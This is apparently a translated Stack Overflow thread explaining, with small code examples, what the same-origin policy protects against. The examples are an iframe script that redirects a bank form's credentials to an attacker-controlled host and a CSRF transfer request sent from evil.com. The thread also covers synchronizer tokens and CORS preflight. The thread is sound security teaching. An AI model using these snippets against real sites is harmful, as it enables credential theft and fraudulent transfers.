为什么需要同源策略的简单示例

时间:2013-02-02 13:19:23

标签: security web same-origin-policy

我已经阅读了Same Origin Policy,但为了更好地理解此事:有人可以写一个简单的代码(用任何语言)来演示SOP停止的攻击吗?

在SOP出现之前怎么可能攻击某人?

3 个答案:

答案 0 :(得分:27)

<iframe id="bank" src="https://yourbank.com"></iframe>

<script>
    window.onload = function() {
        document.getElementById('bank').contentWindow.document.forms[0].action =
            'http://example.com';
    };
</script>

Javascript代码更改了表单的操作属性(目的地,在发言方面),因此当您提交表单时,您将凭据发送给我,而不是您的银行。

如果我在服务器上设置了一个PHP脚本,将您重定向到您的银行,您甚至都不会注意到它。

使用同源策略,此攻击是不可能的。我网域上的网站无法读取或修改银行网站的内容。

答案 1 :(得分:10)

简单攻击示例:跨站请求伪造(CSRF)

攻击者在evil.com的页面上放了(jQuery因为懒惰):

$.post('http://bank.com/transfer', { to: 'ciro', ammount: '100' })

然后攻击者说服你访问evil.com(你获得了奖品!)

如果没有进一步的安全措施,这将有效,因为来自bank.com的身份验证Cookie将被发送并验证您。

另请参阅:CSRF at OWASP

主要安全措施:同步器令牌模式

用于上述问题的主要解决方案是:对于bank.com上的每个表单,生成一次性随机序列作为隐藏参数,并且仅在服务器获取参数时接受请求。

例如,Rails的HTML帮助程序会自动向HTML添加authenticity_token参数,因此合法的表单如下所示:

<form action="http://bank.com/transfer" method="post">
  <p><input type="hidden" name="authenticity_token" value="j/DcoJ2VZvr7vdf8CHKsvjdlDbmiizaOb5B8DMALg6s=" ></p>
  <p><input type="hidden" name="to"                 value="ciro"></p>
  <p><input type="hidden" name="ammount"            value="100"></p>
  <p><button type="submit">Send 100$ to Ciro.</button></p>
</form>

因此,如果evil.com发出单一请求,他就永远不会猜到该令牌,服务器会拒绝该交易。

但是,是什么阻止evil.com发出2个请求:

  1. XHR获取令牌
  2. 包含好令牌的XHR POST
  3. 这个是SOP发挥作用的地方:禁止步骤1,因为它违反了SOP。 SOP阻止您将读取交叉请求数据返回到JavaScript。然而,第2步是完全可能的。

    另请参阅:synchronizer token pattern at OWASP

    为什么不直接发送交叉请求Cookie?

    我问自己:但是如果实现有一条规则如下:“允许任何请求,但只在当前域XHR上发送cookie”?

    但这仍然允许其他类型的攻击:当身份验证不是基于cookie时,而是基于请求的源(IP)。

    例如,您在公司的Intranet中,并且可以从那里访问内部服务器,该服务器从外部看不到并提供秘密数据。

    是否禁止所有跨域请求?

    即使忘记了CORS,没有,我们每天都会这样做!

    来自MDN

    • 通常允许跨源写入:链接,重定向和表单提交。

    • 通常允许跨源嵌入:图片,外部CSS和Javascript,iframe。

    • 通常不允许跨源读取:XHR(上面的示例),iframe读取。

      但是,嵌入会经常泄漏读访问权限。例如,您可以读取嵌入图像的宽度和高度,嵌入脚本的操作或availability of an embedded resource(因此,如果用户登录或未登录到给定域,则可能)

      < / LI>

    其他预防方法

    另见:

答案 2 :(得分:0)

除了上面的答案之外,浏览器实际上对不同的跨域请求采取不同的操作。

对于不进行潜在危险更改的请求(那些所谓的“简单”请求,例如带有允许标头的 GET 请求),浏览器将继续向如果 Access-Control-Allow-Origin 存在,则跨域站点并检查响应标头。否则,脚本将无法访问该响应的任何内容。

对于这种情况,示例可能是,SOP 阻止攻击者向您发送网络钓鱼网页,并从那里使用您的 cookie 向您的银行网站发出 GET 请求,以获取访问您帐户的令牌。

对于可能进行潜在危险更改的请求(那些所谓的“预检”请求,例如 PUT 请求),浏览器将尝试使用以下方式向跨域站点发出请求OPTIONS method 首先。如果允许发出实际请求,此请求将与跨域站点进行检查。否则,浏览器甚至不会发送实际请求。

对于这种情况,示例可能是,SOP 阻止攻击者使用您的 cookie 向您的银行网站发出 PUT 请求以修改您的密码。

有关浏览器如何确定请求是否“简单”的详细信息,请参阅https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

另外,既然这两种情况都涉及使用来自跨域网站的 cookie,那么为什么不在发出跨域请求时禁止 cookie 的使用呢? 1. 正如 Ciro 所指出的,身份验证可能基于 IP 地址,而不是基于 cookie。在这种情况下,禁止使用 cookie 无济于事。 2. 在其他情况下,例如,您实际上拥有两个站点,使用一个站点设置 cookie,然后使用这些 cookie 从另一个站点发出请求可能会很有用。